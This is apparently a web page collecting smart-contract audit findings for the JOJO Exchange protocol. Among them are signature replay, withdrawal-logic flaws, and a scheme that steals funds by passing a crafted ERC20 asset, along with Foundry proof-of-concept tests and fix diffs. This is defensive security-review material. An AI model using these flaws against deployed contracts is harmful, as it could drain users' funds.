bareli - using of solidity 0.8.20.

bareli

medium

using of solidity 0.8.20.

Summary

This is because solidity 0.8.20 introduces the PUSH0 (0x5f) opcode which is only supported on the ETH mainnet and not on any other chains. That's why other chains can't find the PUSH0 (0x5f) opcode and throw this error. Consider using 0.8.19 for other chains. This should solve your problem.

Vulnerability Detail

pragma solidity ^0.8.20;

Impact

other chains can't find the PUSH0 (0x5f) opcode and throw this error

Code Snippet

https://github.com/sherlock-audit/2023-12-jojo-exchange-update/blob/main/smart-contract-EVM/src/DepositStableCoinToDealer.sol#L5

Tool used

Manual Review

Recommendation

Consider using 0.8.19 version.

Duplicate of #32

rvierdiiev - withdrawSettleFee increase can make some withdrawals to be stuck

rvierdiiev

medium

withdrawSettleFee increase can make some withdrawals to be stuck

Summary

In case withdrawSettleFee will increase then it can make some withdrawals to be stuck, because of the check in the permitWithdrawRequests function.

Vulnerability Detail

When user flags withdraw, then there is a check, that amount to be withdrawn is bigger than withdrawSettleFee. Same check exists, when owner executes withdraw.

In case if withdrawSettleFee will be increased to the value that is bigger than already pending withdraw, then owner will not be able to settle such withdraw and those amount of funds that belongs to withdrawer and is now less than withdrawSettleFee will stuck.

Impact

Some deposits may stuck after withdrawSettleFee increase.

Code Snippet

Provided above

Tool used

Manual Review

Recommendation

Provide ability for user to cancel withdraw in some cases.

bughuntoor - `degenSubAccount` uses wrong formula for `getMaxWithdrawAmount`

bughuntoor

medium

degenSubAccount uses wrong formula for getMaxWithdrawAmount

Summary

degenSubAccount uses wrong formula for getMaxWithdrawAmount

Vulnerability Detail

Let's look at the getMaxWithdrawAmount formula in degenSubAccount

    function getMaxWithdrawAmount(address trader) public view returns (uint256, uint256) {
        (int256 primaryCredit,, uint256 pendingPrimaryWithdraw,,) = IDealer(dealer).getCreditOf(address(this));

        uint256 positionMargin;
        int256 positionNetValue;
        address[] memory positions = IDealer(dealer).getPositions(trader);

        for (uint256 i = 0; i < positions.length;) {
            (int256 paperAmount, int256 creditAmount) = IPerpetual(positions[i]).balanceOf(trader);

            Types.RiskParams memory params = IDealer(dealer).getRiskParams(positions[i]);
            int256 price = SafeCast.toInt256(IPriceSource(params.markPriceSource).getMarkPrice());
            positionMargin += (paperAmount.decimalMul(price).abs() * 1e16) / 1e18;

            positionNetValue += paperAmount.decimalMul(price) + creditAmount;
            unchecked {
                ++i;
            }
        }

When we look at it, it's different from the function used in Liquidation.sol (looking at initialMargin)

    function getTotalExposure(
        Types.State storage state,
        address trader
    )
        public
        view
        returns (int256 netValue, uint256 exposure, uint256 initialMargin, uint256 maintenanceMargin)
    {
        int256 netPositionValue;
        // sum net value and exposure among all markets
        for (uint256 i = 0; i < state.openPositions[trader].length;) {
            (int256 paperAmount, int256 creditAmount) = IPerpetual(state.openPositions[trader][i]).balanceOf(trader);
            Types.RiskParams storage params = state.perpRiskParams[state.openPositions[trader][i]];
            int256 price = SafeCast.toInt256(IPriceSource(params.markPriceSource).getMarkPrice());

            netPositionValue += paperAmount.decimalMul(price) + creditAmount;
            uint256 exposureIncrement = paperAmount.decimalMul(price).abs();
            exposure += exposureIncrement;
            maintenanceMargin += (exposureIncrement * params.liquidationThreshold) / Types.ONE;
            initialMargin += (exposureIncrement * params.initialMarginRatio) / Types.ONE;
            unchecked {
                ++i;
            }
        }
        netValue = netPositionValue + state.primaryCredit[trader] + SafeCast.toInt256(state.secondaryCredit[trader]);
    }

This would cause the value in getMaxWithdrawAmount to be completely off. Anything that depends on it will not work.
It will also cause the require in requestWithdrawPrimaryAsset executeWithdrawPrimaryAsset and fastWithdrawPrimaryAsset to not work properly.

Impact

Wrong values returned, anything that depends on it will not work as well, including the require checks within the contract.

Code Snippet

https://github.com/sherlock-audit/2023-12-jojo-exchange-update/blob/main/smart-contract-EVM/src/subaccount/DegenSubaccount.sol#L59C1-L84C6

Tool used

Manual Review

Recommendation

use the formula from Liquidation.sol

PoC

    function testDegenSubaccountOpenPosition() public {
        vm.startPrank(traders[0]);
        jojoDealer.deposit(0, 1000e6, traders[0]);
        vm.stopPrank();

        vm.startPrank(traders[1]);
        jojoDealer.deposit(0, 10_000e6, traders[1]);
        vm.stopPrank();

        vm.startPrank(traders[2]);
        jojoDealer.deposit(0, 1000e6, traders[2]);
        vm.stopPrank();

        DegenSubaccountFactory degenFac = new DegenSubaccountFactory(address(jojoDealer), address(this));
        (Types.Order memory basedorder, bytes memory basedSig) =
            buildOrder(traders[0], tradersKey[0], 1e18, -30_000e6, address(perpList[0]), 0);
        vm.startPrank(traders[1]);
        usdc.approve(address(jojoDealer), 1000e6);
        address degenAccount = degenFac.newSubaccount();
        jojoDealer.deposit(1000e6, 0, degenAccount);
        (Types.Order memory order, bytes memory orderSig) =
            buildOrder(degenAccount, tradersKey[1], -1e18, 30_000e6, address(perpList[0]), 0);
        Types.Order[] memory orderList = new Types.Order[](2);
        orderList[0] = basedorder;
        orderList[1] = order;
        bytes[] memory signatureList = new bytes[](2);
        signatureList[0] = basedSig;
        signatureList[1] = orderSig;
        uint256[] memory matchPaperAmount = new uint256[](2);
        matchPaperAmount[0] = 1e18;
        matchPaperAmount[1] = 1e18;
        vm.stopPrank();
        Perpetual(perpList[0]).trade(abi.encode(orderList, signatureList, matchPaperAmount));
        // revert for netValue less than 0
        (uint256 maxWithdraw, uint256 pendingPrimary) = DegenSubaccount(degenAccount).getMaxWithdrawAmount(degenAccount);
        console.log(maxWithdraw);
        vm.startPrank(traders[1]);
        DegenSubaccount(degenAccount).requestWithdrawPrimaryAsset(maxWithdraw);
        cheats.expectRevert("JOJO_ACCOUNT_NOT_SAFE");
        DegenSubaccount(degenAccount).executeWithdrawPrimaryAsset(traders[1], true);
}

joicygiore - `FundingRateArbitrage::deposit()` is missing a minimum deposit amount check, which can lead to user withdrawals failing

joicygiore

medium

FundingRateArbitrage::deposit() is missing a minimum deposit amount check, which can lead to user withdrawals failing

Summary

FundingRateArbitrage::deposit() is missing a minimum deposit amount check, which can lead to user withdrawals failing

Vulnerability Detail

FundingRateArbitrage contract contains depositFeeRate,withdrawFeeRate,withdrawSettleFee three parameters, the user will be charged the corresponding fee when depositing and withdrawing the amount,butIf you keep withdrawSettleFee at 0, FundingRateArbitrage::requestWithdraw() can be subject to a Dos attack,if the withdrawSettleFee is set, the user may not be able to withdraw due to the amount limit

note:Withdrawal failures due to FundingRateArbitrage::getIndex() are ignored here

Please add the test code to FundingRateArbitrageTest.t.sol for execution

    function testIfSetedWithdrawSettleFeeNeedBeCheckTheMinimumAmount() public {
        // init fundingRateArbitrage
        vm.startPrank(Owner);
        fundingRateArbitrage.setDepositFeeRate(1e16);
        fundingRateArbitrage.setWithdrawFeeRate(1e16);
        fundingRateArbitrage.setWithdrawSettleFee(10e6); // withdrawSettleFee == 10e6
        vm.stopPrank();
        // init user
        address user = makeAddr("User");
        USDC.mint(user, 10e6);
        vm.startPrank(user);
        USDC.approve(address(fundingRateArbitrage), 10e6);
        assert(USDC.balanceOf(user) == 10e6);
        // deposit 10e6
        fundingRateArbitrage.deposit(10e6);
        // check balance
        uint256 userDepositAmount = fundingRateArbitrage.earnUSDCBalance(user);
        console.log(userDepositAmount);
        assert(fundingRateArbitrage.jusdOutside(user) == userDepositAmount);
        assert(USDC.balanceOf(address(fundingRateArbitrage)) + USDC.balanceOf(fundingRateArbitrage.owner()) == 10e6);
        // Withdraw
        jojoDealer.requestWithdraw(user, 0, userDepositAmount);
        vm.warp(block.timestamp + 1 days);
        jojoDealer.executeWithdraw(user, user, false, "");
        // amount < withdrawSettleFee -> revert
        jusd.approve(address(fundingRateArbitrage), userDepositAmount);
        vm.expectRevert("Withdraw amount is smaller than settleFee");
        fundingRateArbitrage.requestWithdraw(userDepositAmount);
        vm.stopPrank();
    }

Impact

if the withdrawSettleFee is set, the user may not be able to withdraw due to the amount limit

Code Snippet

https://github.com/sherlock-audit/2023-12-jojo-exchange-update/blob/main/smart-contract-EVM/src/FundingRateArbitrage.sol#L38-L40
https://github.com/sherlock-audit/2023-12-jojo-exchange-update/blob/main/smart-contract-EVM/src/FundingRateArbitrage.sol#L258-L275

Tool used

Manual Review

Recommendation

Add a minimum deposit amount check in FundingRateArbitrage.sol

+   import "./libraries/Types.sol"; 

    function deposit(uint256 amount) external {
+        require(amount.decimalMul(Types.ONE - depositFeeRate) > withdrawSettleFee,"The deposit amount is less than the minimum withdrawal amount"); // 
-        require(amount != 0, "deposit amount is zero");
        uint256 feeAmount = amount.decimalMul(depositFeeRate);
        if (feeAmount > 0) {
            amount -= feeAmount;
            IERC20(usdc).transferFrom(msg.sender, owner(), feeAmount);
        }
        uint256 earnUSDCAmount = amount.decimalDiv(getIndex());
        IERC20(usdc).transferFrom(msg.sender, address(this), amount);
        JOJODealer(jojoDealer).deposit(0, amount, msg.sender);
        earnUSDCBalance[msg.sender] += earnUSDCAmount;
        jusdOutside[msg.sender] += amount;
        totalEarnUSDCBalance += earnUSDCAmount;
        require(getNetValue() <= maxNetValue, "net value exceed limitation");
        uint256 quota = maxUsdcQuota[msg.sender] == 0 ? defaultUsdcQuota : maxUsdcQuota[msg.sender];
        require(earnUSDCBalance[msg.sender].decimalMul(getIndex()) <= quota, "usdc amount bigger than quota");
        emit DepositToHedging(msg.sender, amount, feeAmount, earnUSDCAmount);
    }

test

Please add the test code to FundingRateArbitrageTest.t.sol for execution

    function testAMinimumDepositAmountCheckHasBeenAdded() public {
        /////////////////////////////////////////////////////////////
        /// Less than the minimum amount //////
        /////////////////////////////////////////////////////////////
        // init fundingRateArbitrage
        vm.startPrank(Owner);
        fundingRateArbitrage.setDepositFeeRate(1e16);
        fundingRateArbitrage.setWithdrawFeeRate(1e16);
        fundingRateArbitrage.setWithdrawSettleFee(9e6); // withdrawSettleFee == 10e6
        vm.stopPrank();
        // init user
        address user = makeAddr("User");
        USDC.mint(user, 10e6);
        vm.startPrank(user);
        USDC.approve(address(fundingRateArbitrage), 10e6);
        assert(USDC.balanceOf(user) == 10e6);
        // deposit 9e6 revert
        vm.expectRevert("The deposit amount is less than the minimum withdrawal amount");
        fundingRateArbitrage.deposit(9e6);
        //////////////////////////////////////////////////////////
        ///    Meet the minimum amount   //////
        //////////////////////////////////////////////////////////
        vm.startPrank(user);
        assert(USDC.balanceOf(user) == 10e6);
        // deposit 10e6
        fundingRateArbitrage.deposit(10e6);
        // check balance
        uint256 userDepositAmount = fundingRateArbitrage.earnUSDCBalance(user);
        console.log(userDepositAmount);
        assert(fundingRateArbitrage.jusdOutside(user) == userDepositAmount);
        assert(USDC.balanceOf(address(fundingRateArbitrage)) + USDC.balanceOf(fundingRateArbitrage.owner()) == 10e6);
        // Withdraw
        jojoDealer.requestWithdraw(user, 0, userDepositAmount);
        vm.warp(block.timestamp + 1 days);
        jojoDealer.executeWithdraw(user, user, false, "");
        jusd.approve(address(fundingRateArbitrage), userDepositAmount);
        uint256 index = fundingRateArbitrage.requestWithdraw(userDepositAmount);
        vm.stopPrank();
        vm.startPrank(Owner);
        uint256[] memory indexs = new uint256[](1);
        indexs[0] = index;
        fundingRateArbitrage.permitWithdrawRequests(indexs);
        vm.stopPrank();
    }

cawfree - Signature Replay: `JOJOStorage` caches the `DOMAIN_SEPARATOR` in the constructor.

cawfree

medium

Signature Replay: JOJOStorage caches the DOMAIN_SEPARATOR in the constructor.

Summary

A cached domainSeparator can lead to replay attacks on a hard-forked chain.

Vulnerability Detail

As a gas optimization, the domainSeparator is cached in the constructor of JOJOStorage under the expectation that the block.chainId cannot change.

However, in the instance of a chain fork, the result would be two independent protocol instances which share common signature namespace digests, causing a single signature to satisfy domain separation checks on two separate domains.

Impact

This issue is commonly assessed as medium in severity.

The upcoming ArbOS upgrade indicates that the Arbitrum Foundation intend to adopt the design philosophy of hard forks, which historically result in the creation of two parallel chains, instead of the chain-death of the original rules chain.

Code Snippet

constructor() Ownable() {
    domainSeparator = EIP712._buildDomainSeparator("JOJO", "1", address(this));
}

Tool used

Manual Review

Recommendation

The domainSeparator should be computed dynamically where needed.

bughuntoor - `requestWithdraw` logic is flawed and may cause a user to simply burn their money

bughuntoor

high

requestWithdraw logic is flawed and may cause a user to simply burn their money

Summary

requestWithdraw logic is flawed and may cause a user to simply burn their money

Vulnerability Detail

Let's look at the code in requestWithdraw

    function requestWithdraw(uint256 repayJUSDAmount) external returns (uint256 withdrawEarnUSDCAmount) {
        IERC20(jusd).safeTransferFrom(msg.sender, address(this), repayJUSDAmount);
        require(repayJUSDAmount <= jusdOutside[msg.sender], "Request Withdraw too big");
        jusdOutside[msg.sender] -= repayJUSDAmount;
        uint256 index = getIndex();
        uint256 lockedEarnUSDCAmount = jusdOutside[msg.sender].decimalDiv(index);
        require(
            earnUSDCBalance[msg.sender] >= lockedEarnUSDCAmount, "lockedEarnUSDCAmount is bigger than earnUSDCBalance"
        );
        withdrawEarnUSDCAmount = earnUSDCBalance[msg.sender] - lockedEarnUSDCAmount;
        withdrawalRequests.push(WithdrawalRequest(withdrawEarnUSDCAmount, msg.sender, false));
        require(
            withdrawEarnUSDCAmount.decimalMul(index) >= withdrawSettleFee, "Withdraw amount is smaller than settleFee"
        );
        earnUSDCBalance[msg.sender] = lockedEarnUSDCAmount;
        uint256 withdrawIndex = withdrawalRequests.length - 1;
        emit RequestWithdrawFromHedging(msg.sender, repayJUSDAmount, withdrawEarnUSDCAmount, withdrawIndex);
        return withdrawIndex;
    }

The way it calculates withdraw amount is completely flawed and needs major refactoring.
To simply give an example:

  • A user deposits 1000 USDC at index == 1e18
  • Index drops to 0.5e18 (e.g. due to borrow liquidation or bad perp trade)
  • User now wants to claim 500 of their JUSD within the contract, so they invoke requestWithdraw(500).
  • If we look at the workflow -> jusdOutside[msg.sender] - repayJusdAmount = 500.
    lockedEarnUSDCAmount = 500 / 0.5 = 1000
    WithdrawEarnUSDCAmount = 1000 - 1000 = 0 (we'll consider withdrawSettleFee to be 0 for simplicity. even if it is not, issue is still valid)
    EarnUSDCBalance = 500

The user just gave 500 JUSD to the contract and burned 500 earnUSDCBalance and created a 0-value withdraw request.

Impact

Loss of funds

Code Snippet

https://github.com/sherlock-audit/2023-12-jojo-exchange-update/blob/main/smart-contract-EVM/src/FundingRateArbitrage.sol#L282C1-L300C6

Tool used

Manual Review

Recommendation

Fix is non-trivial, function will need to be rewritten.

vvv - Funds could be stolen from DepositStableCoinToDealer, FlashLoanLiquidate, FlashLoanRepay, GeneralRepay contracts by passing crafted ERC20 asset

vvv

high

Funds could be stolen from DepositStableCoinToDealer, FlashLoanLiquidate, FlashLoanRepay, GeneralRepay contracts by passing crafted ERC20 asset

Summary

Funds could be stolen from DepositStableCoinToDealer, FlashLoanLiquidate, FlashLoanRepay, GeneralRepay contracts by passing crafted ERC20 asset in depositStableCoin, JOJOFlashLoan, JOJOFlashLoan, repayJUSD methods. These methods doesn't check for asset and transfer funds to arbitrary address to.

Vulnerability Detail

Funds could be stolen from DepositStableCoinToDealer, FlashLoanLiquidate, FlashLoanRepay, GeneralRepay contracts by passing crafted ERC20 asset in depositStableCoin, JOJOFlashLoan, JOJOFlashLoan, repayJUSD methods.

These methods doesn't have any checks for asset, which could be specifially crafred to pass all the other checks. Any calls to passed address (as IERC20(asset).<method>) could be easilly manipulated, call to swapTarget.call(data) could be mainpulated too, considering the data variable is arbitary and also isn't checked. The project code and documentation doesn't really specify what kind of approveTarget and swapTarget could be whitelisted. Considering the data being passed to those addreses is arbitrary, it's higly possible these calls can be manipulated and attacked too.

All these methods are external and transfer funds to specified to address at the end, which is also arbitrary. Passing all the specified above checks, it allows to steal all the funds from contract.

Impact

Funds from specified contracts could be stolen.

Code Snippet

https://github.com/sherlock-audit/2023-12-jojo-exchange-update/blob/main/smart-contract-EVM/src/DepositStableCoinToDealer.sol#L33-L69

https://github.com/sherlock-audit/2023-12-jojo-exchange-update/blob/main/smart-contract-EVM/src/FlashLoanLiquidate.sol#L46-L82

https://github.com/sherlock-audit/2023-12-jojo-exchange-update/blob/main/smart-contract-EVM/src/FlashLoanRepay.sol#L36-L69

https://github.com/sherlock-audit/2023-12-jojo-exchange-update/blob/main/smart-contract-EVM/src/GeneralRepay.sol#L33-L70

Tool used

Manual Review

Recommendation

Check passed asset, param and to params by whitelist or more sophisticated mechnism.

Duplicate of #7

rvierdiiev - FundingRateArbitrage allows users to avoid loss

rvierdiiev

high

FundingRateArbitrage allows users to avoid loss

Summary

FundingRateArbitrage allows users to avoid loss as they can just simply not withdraw and keep jusd.

Vulnerability Detail

Users provide usdc into FundingRateArbitrage contract. Then contract deposits same amount of jusd to user's account and user can withdraw those funds and use them.

USDC that were provided by users are going to be swapped to eth, then used to borrow jusd in the bank and then use jusd to participate in perp trading. The aim of FundingRateArbitrage is to earn additional funds from pepr markets and increase index price, which means that user's will be able to get more funds then they have deposited.

As FundingRateArbitrage will hold some positions in perp market, then it's possible that they will loose some funds(because of price change) and they can even be liquidated, which makes it possible to index price become less than 1. Such case signals that FundingRateArbitrage contract faced a loss and not users who will requestWithdraw will receive smaller amount of usdc.

However in this finding i want to flag, that in case if such thing will happen, then user will not call requestWithdraw anymore, because it means that they will need to burn bigger amount of jusd for smaller amount of usdc. All user will likely hold jusd or swap it on some market and get better price.

This will mean pure loss of jusd for the protocol as those jusd was covered by usdc.
So currently user can be sure that they will not lose funds with FundingRateArbitrage contract.

Impact

Loss is not distributed among depositors.

Code Snippet

Provided above

Tool used

Manual Review

Recommendation

I would redesign this contract to be similar to erc4626 vault that mints own tokens and do not deposit jusd for users.

Duplicate of #35

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.